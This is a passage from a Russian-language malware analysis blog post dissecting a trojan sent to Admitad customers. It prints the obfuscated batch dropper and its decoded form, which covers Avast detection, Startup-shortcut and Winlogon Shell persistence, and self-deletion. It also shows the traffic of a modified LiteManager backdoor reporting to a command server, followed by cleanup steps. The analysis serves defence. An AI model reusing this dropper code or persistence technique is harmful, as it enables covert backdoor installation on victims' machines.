%lpQmnLQ%%RCRUDqE%oAndDQK%yFcQKpJyG%L
%lpQmnLQ%%RCRUDqE%lSBY%yFcQKpJyG%O
%lpQmnLQ%%RCRUDqE%JcERxC%yFcQKpJyG%h
%lpQmnLQ%%RCRUDqE%pcEihxAuJ%yFcQKpJyG%I
%lpQmnLQ%%RCRUDqE%shHyBbWt%yFcQKpJyG%.
%lpQmnLQ%%RCRUDqE%KAFkG%yFcQKpJyG%-
%lpQmnLQ%%RCRUDqE%AdQY%yFcQKpJyG%t
%lpQmnLQ%%RCRUDqE%pIxi%yFcQKpJyG%Y
%lpQmnLQ%%RCRUDqE%TKaBbO%yFcQKpJyG%1
%lpQmnLQ%%RCRUDqE%pCQWd%yFcQKpJyG%F
%lpQmnLQ%%RCRUDqE%gEuKD%yFcQKpJyG%V
%lpQmnLQ%%RCRUDqE%ulmeh%yFcQKpJyG%9
%lpQmnLQ%%RCRUDqE%nFjJmCQ%yFcQKpJyG%N
%lpQmnLQ%%RCRUDqE%hdvdM%yFcQKpJyG%W
%lpQmnLQ%%RCRUDqE%jgpoj%yFcQKpJyG%"
%lpQmnLQ%%RCRUDqE%xMhHMK%yFcQKpJyG%6
%lpQmnLQ%%RCRUDqE%aOOInC%yFcQKpJyG%3
%lpQmnLQ%%RCRUDqE%GLznBQ%yFcQKpJyG%U
%lpQmnLQ%%RCRUDqE%oFHOxG%yFcQKpJyG%g
%lpQmnLQ%%RCRUDqE%KudP%yFcQKpJyG%{
%lpQmnLQ%%RCRUDqE%QSrCDDA%yFcQKpJyG%$
%lpQmnLQ%%RCRUDqE%XLAkzKtxq%yFcQKpJyG%*
%lpQmnLQ%%RCRUDqE%opQB%yFcQKpJyG%Z
%lpQmnLQ%%RCRUDqE%wjTBiTbn%yFcQKpJyG%
%lpQmnLQ%%RCRUDqE%XnXWCNDJO%yFcQKpJyG%!
%lpQmnLQ%%RCRUDqE%fjxrTBqkC%yFcQKpJyG%p
%lpQmnLQ%%RCRUDqE%DuPVUEGE%yFcQKpJyG%D
%lpQmnLQ%%RCRUDqE%mnCdWrg%yFcQKpJyG%?
%lpQmnLQ%%RCRUDqE%DYBqxQkr%yFcQKpJyG%P
%AdQY%%GNbpPXWvQ%%LKQhkKSem%%zHzGVcDcY%%ScSLQo%%QBmzz%%LKQhkKSem%%AdQY%%RCRUDqE%|%RCRUDqE%%qlLeeJ%%QBmzz%%GAJoRj%%vANLWtdW%%RCRUDqE%%jgpoj%%KYddI%%sQrHzBN%%GNbpPXWvQ%%LKQhkKSem%%AdQY%%GLznBQ%%pcEihxAuJ%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%%jgpoj%
%QBmzz%%qlLeeJ%%RCRUDqE%%LkyqXKNYc%%mPVfEbE%%mPVfEbE%%toTUt%%mPVfEbE%%ScSLQo%%LkyqXKNYc%%sQrHzBN%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%TKaBbO%%RCRUDqE%%oFHOxG%%toTUt%%AdQY%%toTUt%%RCRUDqE%%nFjJmCQ%%toTUt%%MKbjyO%%LkyqXKNYc%%immQQhH%%toTUt%%mPVfEbE%%vANLWtdW%
%immQQhH%%vANLWtdW%%RCRUDqE%%jgpoj%%appData%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%immQQhH%%toTUt%%qlLeeJ%%AdQY%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%wjTBiTbn%%jgpoj%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%LKQhkKSem%%LkyqXKNYc%%GAJoRj%%vANLWtdW%%toTUt%%zHzGVcDcY%%shHyBbWt%%AdQY%%OWatTKvD%%AdQY%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%fjxrTBqkC%%toTUt%%QBmzz%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%
%kOXeOOyR%%tNqAVXbz%%LKQhkKSem%%JcERxC%%AdQY%%GNbpPXWvQ%%RCRUDqE%%sQrHzBN%%YrtVU%%LKQhkKSem%%immQQhH%%mPVfEbE%%QBmzz%%fjxrTBqkC%%AdQY%%NSQCAVz%%QvBGN%%OWatTKvD%%LkyqXKNYc%%immQQhH%%MuOksUDd%%AdQY%%LkyqXKNYc%%KbJyRFMVu%%jgpoj%%abWkRpti%%LkyqXKNYc%%AdQY%%RCRUDqE%%OWatTKvD%%yFcQKpJyG%%pNywcj%%mPVfEbE%%LkyqXKNYc%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%lSBY%%YrtVU%%nmvE%%LkyqXKNYc%%immQQhH%%AdQY%%KbJyRFMVu%%jgpoj%%jgpoj%%hdvdM%%abWkRpti%%immQQhH%%mPVfEbE%%QBmzz%%fjxrTBqkC%%AdQY%%shHyBbWt%%abWkRpti%%JcERxC%%LkyqXKNYc%%ScSLQo%%ScSLQo%%jgpoj%%jgpoj%%dAMOY%%NSQCAVz%%abWkRpti%%LkyqXKNYc%%AdQY%%RCRUDqE%%mOMhgb%%yFcQKpJyG%%OWatTKvD%%shHyBbWt%%pNywcj%%mPVfEbE%%LkyqXKNYc%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%abWkRpti%%JcERxC%%toTUt%%mPVfEbE%%AdQY%%immQQhH%%MuOksUDd%%AdQY%%KbJyRFMVu%%OWatTKvD%%shHyBbWt%%abWkRpti%%fjxrTBqkC%%LkyqXKNYc%%immQQhH%%QBmzz%%GNbpPXWvQ%%ScSLQo%%pCQWd%%toTUt%%ScSLQo%%vANLWtdW%%LkyqXKNYc%%mPVfEbE%%LKQhkKSem%%KbJyRFMVu%%jgpoj%%jgpoj%%abWkRpti%%AdQY%%GNbpPXWvQ%%mPVfEbE%%AdQY%%MuOksUDd%%fjxrTBqkC%%jgpoj%%jgpoj%%dAMOY%%tCgoVQ%%jgpoj%%jgpoj%%wjTBiTbn%%hdvdM%%QBmzz%%GAJoRj%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%shHyBbWt%%ScSLQo%%GAJoRj%%zHzGVcDcY%%jgpoj%%jgpoj%%dAMOY%%NSQCAVz%%mOMhgb%%shHyBbWt%%UdGiq%%GNbpPXWvQ%%mPVfEbE%%oFHOxG%%LkyqXKNYc%%AdQY%%DYBqxQkr%%GNbpPXWvQ%%AdQY%%JcERxC%%yFcQKpJyG%%jgpoj%%jgpoj%%~dp0ctfmon.exe"":y.Save():Close()")
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%0%RCRUDqE%>%RCRUDqE%%GAJoRj%%MuOksUDd%%ScSLQo%
%oFHOxG%%toTUt%%AdQY%%toTUt%%RCRUDqE%%DuPVUEGE%%toTUt%%GAJoRj%%LkyqXKNYc%
:NoRecord
%mPVfEbE%%LkyqXKNYc%%oFHOxG%%RCRUDqE%%GNbpPXWvQ%%vANLWtdW%%vANLWtdW%%RCRUDqE%%jgpoj%%upeuMhJ%%NjHP%%QvBGN%%pIxi%%vpVg%%pNywcj%%GLznBQ%%MKbjyO%%MKbjyO%%QvBGN%%nFjJmCQ%%UdGiq%%vpVg%%GLznBQ%%abWkRpti%%QvBGN%%MKbjyO%%wjTBiTbn%%abWkRpti%%toTUt%%qlLeeJ%%AdQY%%ltuAgKR%%GNbpPXWvQ%%mPVfEbE%%LkyqXKNYc%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%LKQhkKSem%%toTUt%%qlLeeJ%%AdQY%%wjTBiTbn%%hdvdM%%QBmzz%%GAJoRj%%vANLWtdW%%toTUt%%ltuAgKR%%LKQhkKSem%%RCRUDqE%%nFjJmCQ%%UdGiq%%wjTBiTbn%%pNywcj%%MuOksUDd%%mPVfEbE%%mPVfEbE%%LkyqXKNYc%%GAJoRj%%AdQY%%gEuKD%%LkyqXKNYc%%mPVfEbE%%LKQhkKSem%%QBmzz%%toTUt%%GAJoRj%%wjTBiTbn%%hdvdM%%QBmzz%%GAJoRj%%ScSLQo%%toTUt%%oFHOxG%%toTUt%%GAJoRj%%jgpoj%%RCRUDqE%%mRMLJkAp%%sQrHzBN%%RCRUDqE%%jgpoj%%abWkRpti%%JcERxC%%LkyqXKNYc%%ScSLQo%%ScSLQo%%jgpoj%%RCRUDqE%%mRMLJkAp%%AdQY%%RCRUDqE%%MKbjyO%%QvBGN%%SAKEFniaY%%vpVg%%abWkRpti%%opQB%%RCRUDqE%%mRMLJkAp%%vANLWtdW%%RCRUDqE%%jgpoj%%appData%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%immQQhH%%toTUt%%qlLeeJ%%AdQY%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%wjTBiTbn%%immQQhH%%AdQY%%qlLeeJ%%tNqAVXbz%%toTUt%%GAJoRj%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%%RCRUDqE%%pVCdLFa%%RCRUDqE%%LkyqXKNYc%%OWatTKvD%%fjxrTBqkC%%ScSLQo%%toTUt%%mPVfEbE%%LkyqXKNYc%%mPVfEbE%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%%jgpoj%%RCRUDqE%%RCRUDqE%%mRMLJkAp%%qlLeeJ%
%immQQhH%%vANLWtdW%%RCRUDqE%%jgpoj%%appData%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%immQQhH%%toTUt%%qlLeeJ%%AdQY%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%wjTBiTbn%%jgpoj%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%LKQhkKSem%%LkyqXKNYc%%GAJoRj%%vANLWtdW%%toTUt%%zHzGVcDcY%%shHyBbWt%%AdQY%%OWatTKvD%%AdQY%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%fjxrTBqkC%%toTUt%%QBmzz%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%
%LKQhkKSem%%AdQY%%GNbpPXWvQ%%mPVfEbE%%AdQY%%RCRUDqE%%immQQhH%%AdQY%%qlLeeJ%%tNqAVXbz%%toTUt%%GAJoRj%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%0%RCRUDqE%>%RCRUDqE%%GAJoRj%%MuOksUDd%%ScSLQo%
:Done
Лень опять взяла верх надо мной, поэтому на этот раз я не стал париться с редакторами, а попросил друга написать программку на C#. Что он и сделал. Низкий ему за это поклон!
После расшифровки получился вот такой bat-файл:
tasklist | find "AvastUI.exe"
if errorlevel 1 goto NoRecord
cd "%appData%MicrocoftUpdate"
del sendok.txt
del poi.exe
@mshta vbscript:Execute("Set x=CreateObject(""WScript.Shell""):Set y=x.CreateShortcut(x.SpecialFolders(""Startup"")+""WinUpdate.lnk""):y.TargetPath=""%~dp0ctfmon.exe"":y.Save():Close()")
del %0 > nul
goto Done
:NoRecord
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWinlogon" /v "Shell" /t REG_SZ /d "%appData%MicrocoftUpdatectfmon.exe , explorer.exe" /f
cd "%appData%MicrocoftUpdate"
del sendok.txt
del poi.exe
start ctfmon.exe
del %0 > nul
:Done
Тут происходит следующее: проверяется наличие запущенного антивируса Avast. Если таковой имеется, то выполняется переход в папку "%appData%MicrocoftUpdate", из неё удаляются файлы sendok.txt и poi.exe, в системной папке «Startup» создаётся ярлык для запуска программы ctfmon.exe и выполняется самоликвидация работающего bat-файла. При этом ctfmon.exe будет запущен при следующей перезагрузке компьютера. Если же Avast не обнаружен, то в реестре по пути «HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon» значение ключа «Shell» заменяется на "%appData%MicrocoftUpdatectfmon.exe, explorer.exe", ну а потом опять же выполняется переход в папку "%appData%MicrocoftUpdate", удаляются файлы sendok.txt и poi.exe, запускается ctfmon.exe и выполняется самоликвидация bat-файла. Таким образом, ctfmon.exe будет запускаться при старте любой программы через Проводник Windows.
Всё, конь выполнил свою грязную работу – установил в систему бэкдор. Теперь обратим взоры на виновника торжества — файл ctfmon.exe.
Часть четвёртая: изучение бэкдора
Осмотр бэкдора проводился снаружи — с помощью программ Process Monitor и WireShark.
Сначала заглянем в свойства exe-файла:
Затем пройдёмся по логу Process Monitor-а в поисках слова «Microcoft». Для этого добавим в фильтр вот такое правило:
И что же мы видим? Мы видим, что ctfmon.exe создаёт в реестре весьма интересный ключ:
HKCUSoftwareLiteManagerTeamLiteManagerv3.4ConfigServerExe
и записывает в этот ключ путь к себе, любимому.
Из чего я делаю предположение, что имею дело с программой LiteManager: иду на сайт LiteManager и скачиваю дистрибутив для Windows. Обратите внимание: он версии 4.7.2 — ничего не напоминает?
Распаковываю дистрибутив и вытаскиваю из него файл сервера: romserver.exe. Открываю окошко с его свойствами:
Да, очень похоже: та же иконка, те же версии, только самую малость отличается размер и есть цифровая подпись. Очевидно, что файл «доработали напильником», потому что в исходном виде он не совсем устраивал злодеев. Может быть как-нибудь выдавал своё присутствие в системе — что было совсем лишним. Однако то, что файл был изменён, совершенно не напрягает антивирусы: на Virustotal-е большинство из них просто молчит и лишь несколько сообщают, что это просто RiskWare.
Продолжим. Теперь я буду изучать лог WireShark.
Первым делом ctfmon.exe выполняет соединение с адресом 91.240.86.200. По установленному каналу взад-вперёд бегает несколько коротких сообщений, следом за которыми ctfmon.exe получает вот такой пакет:
<?xml version="1.0" encoding="UTF-16"?>
<rom_sever_client_settings version="4722">
<id>180185</id>
<internal_id>9017511</internal_id>
<noip_number>-1</noip_number>
<license>false</license>
<host></host>
<port>5650</port>
<redirected>false</redirected>
<server_ver>4722</server_ver>
<remotehideserverresub>false</remotehideserverresub>
<connectid>1195251490</connectid>
<protect_code>0</protect_code>
</rom_sever_client_settings>
Похоже на регистрацию на одном из головных серверов LiteManager.
Затем некоторое время опять идёт обмен короткими сообщениями, за которыми приходит ещё один пакет:
<?xml version="1.0" encoding="UTF-16"?>
<rom_noip_client_settings version="4725">
<host>83.240.218.170</host>
<port>5651</port>
<max_connections>30</max_connections>
<cur_connections>0</cur_connections>
<ip_filter>false</ip_filter>
<id_filter>false</id_filter>
<mac_filter>false</mac_filter>
<caption></caption>
<description></description>
<no_ip_type>1</no_ip_type>
<license>1</license>
<number>409</number>
<internalID>2801665</internalID>
<NoIPSelf>false</NoIPSelf>
<ver>4724</ver>
</rom_noip_client_settings>
Это уже интересней. Дело в том, что клиент LiteManager может соединяться с сервером не напрямую, а через третий узел — так называемый NoIPServer. Необходимость в этом может возникнуть в случае, если сервер спрятан от Интернета за какими-нибудь фаерволами/натами и т.п. Для злодеев же наличие подобного третьего узла — прекрасный способ анонимизироваться — скрыть свой клиентский IP от посторонних глаз. Данный пакет как раз содержит указания серверу — через что работать дальше (адрес и порт NoIPServer-а).
Смотрим дальше. Тут начинается самое интересное! Сразу после получения этого пакета ctfmon.exe отправляет по адресу httр://rmansys.ru/utils/inet_id_notify.php вот такой POST-запрос:
----------162747236742480
Content-Disposition: form-data; name="email"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary
blackcc019@gmail.com
----------162747236742480
Content-Disposition: form-data; name="user_name"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary
Dima
----------162747236742480
Content-Disposition: form-data; name="comp_name"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary
DIMA-ПК
----------162747236742480
Content-Disposition: form-data; name="id"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary
180185
----------162747236742480
Content-Disposition: form-data; name="lang_id"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary
1049
----------162747236742480
Content-Disposition: form-data; name="product"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary
RMS
----------162747236742480--
На что это похоже? Это похоже на то, что ctfmon с помощью скрипта inet_id_notify.php передаёт на email хозяина blackcc019@gmail.com информацию о параметрах подключения к инфицированному компьютеру.
Для проверки этой гипотезы я отправил подобный запрос со своего Debian-сервера:
curl --data "email=мой_ящик&user_name=user1&comp_name=pc1&id=12345&lang_id=1049&product=RMS" http://rmansys.ru/utils/inet_id_notify.php
Проверяю почту — вуаля!
Получено письмо с адреса 'TektonIT Corp. <info@tektonit.com>'
Тема письма: 'Remote Manipulator System установлен на удаленном компьютере, новый Internet-ID получен: 12345'
Текст письма:
Добрый день.
Сообщаем, что на удаленном компьютере установлен и запущен Remote Manipulator System, сгенерирован новый идентификатор "Internet-ID".
ID: 12345
Имя пользователя: user1
Название компьютера: pc1
Данное письмо сгенерировано автоматически и не требует ответа.
Внимание! Сохраните данное письмо в надежном месте или удалите, т.к. оно может содержать информацию, позволяющую получить удаленный доступ к компьютеру.
Сайт: http://rmansys.ru/
Служба поддержки: support@tektonit.com
TektonIT Corp.
Всё понятно. Господа с rmansys.ru предоставили хакерам отличную возможность получить нужную им информацию через такой вот своеобразный открытый почтовый релей. Молодцы, ничего не скажешь.
Затем ctfmon.exe, как ему было и указано, соединяется с компьютером по адресу 83.240.218.170:5651 и время от времени обменивается с ним короткими сообщениями — ждёт входа хозяина.
Наблюдать дальше смысла особого не было: алгоритм поведения понятен.
Часть пятая: лечение
Удалить эту инфекцию весьма не сложно (если, конечно, вам в компьютер не успели удалённо насовать ещё какой-нибудь вирусни). Нужно выполнить следующие шаги:
- Терминировать процесс бэкдора через диспетчер задач. Называться, кстати, он может и по другому.
- Удалить службу сервера: выполнить в консоли команду: sc delete ROMService_Support.
- Удалить папку "%appdata%MicrocoftUpdate" со всеми файлами в ней.
- Восстановить в реестре ключ «HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell»: записать в него строку «explorer.exe».
- Пройтись по всему реестру в поисках ключей, содержащих слово «Microcoft» и удалить их.
- Перезагрузить компьютер.
Как превентивно защититься от подобного вторжения? От данной конкретной модификации бэкдора можно защититься, например, добавив в файл hosts строку «127.0.0.1 rmansys.ru» — тогда бэкдор не сможет отправить хозяину письмо. Если же под вашим управлением находится корпоративный фаервол, то в него можно добавить правило блокировки доступа к этому узлу из локальной сети.
Часть шестая: заключительная
Напоследок я поискал в Интернете других пострадавших от этой атаки. Найти их оказалось совсем не трудно: они обсуждали тему нападения на форуме Admitad.
Так что картина вырисовывалась примерно следующая: хакеры проникли в сеть Admitad и утянули оттуда клиентскую базу. Затем состряпали этого трояна и разослали письма клиентам Admitad через подконтрольные им узлы бот-сети. Из той же бот-сети часть узлов, имеющих прямое соединение с Интернетом, была превращена в NoIP-сервера — посредством которых они смогли управлять вновь заражёнными компьютерами.
Какие выводы из этого всего я сделал для себя?
Вывод первый: на современном этапе в Интернете предостаточно средств для создания подобных троянов практически «на коленке». Зачем напрягаться и писать свой собственный бэкдор, если есть масса готовых, исключительно продвинутых и широкофункциональных вариантов? Нужно просто малость их доработать и всё.
Вывод второй: анонимность подобной атаки исключительно высокая. Всё что удалось выудить — email хозяина, толку от которого, в общем-то — ноль.
Вывод третий: я совершил грубейшую ошибку. Первое, что надо было сделать — это выключить заражённую машину, а не копаться в ней, тем более через Интернет. Заражённый винчестер нужно было подключить к своему компьютеру и только после этого выполнять исследования. Повезло ещё, что это оказался бэкдор, а не какой-нибудь навёрнутый криптошифровальщик.
Засим разрешите откланяться. Всем здоровья и удачи! Спасибо за внимание!
Автор: jok40